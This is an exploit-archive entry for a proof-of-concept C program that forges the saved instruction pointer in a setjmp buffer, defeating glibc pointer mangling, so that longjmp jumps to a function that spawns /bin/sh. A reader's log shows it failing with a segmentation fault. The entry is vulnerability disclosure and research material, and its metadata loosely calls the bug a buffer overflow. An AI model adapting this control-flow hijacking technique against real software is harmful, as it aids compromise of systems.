Bug-Mangle

vendor:

N/A

by:

Hector Marco & Ismael Ripoll

CVSS

LOW

Buffer Overflow

119

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: i386 & x86_64

2020

This proof of concept exploit is for a buffer overflow vulnerability. It attempts to overwrite the return address of the environment with the address of the hacked() function. If successful, it will execute the /bin/sh command. However, the exploit reportedly does not work and the output at the bottom of the entry confirms this.

Mitigation:

The best way to mitigate buffer overflow vulnerabilities is to use secure coding practices and avoid unsafe functions such as strcpy, strcat, sprintf, etc. Additionally, input validation should be used to ensure that user input is within the expected range.

Source

Exploit-DB raw data:

/*
 * 
 * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.
 *
 * $FILE: bug-mangle.c
 *
 * Comment: Proof of concept
 *
 * $VERSION$
 *
 * Author: Hector Marco <hecmargi@upv.es>
 *         Ismael Ripoll <iripoll@disca.upv.es>
 *
 * $LICENSE:  
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#else
   #error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
   printf("[+] hacked !!\n");
   system("/bin/sh");
}

int main(void){
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1){
      printf("[-] Exploit failed.\n");
      return 0;
   }

   /*Overwrie env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);

   longjmp(env, 1);

   printf("[-] Exploit failed.\n");
   return 0;
}

####################################################################################################################
#
# Reader submitted results
/*

[522] user@his-system ~ $ ./POC
[+] Exploiting ...
Segmentation fault
[523] user@his-system ~ $ ldd POC
linux-vdso.so.1 => (0x00007fffab5fd000)
libc.so.6 => /lib64/libc.so.6 (0x0000003269800000)
/lib64/ld-linux-x86-64.so.2 (0x0000003269400000)
[525] user@his-system ~ $ uname -a
Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[526] user@his-system ~ $

[526] user@his-system ~ $ grep vsys /proc/self/maps
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]

*/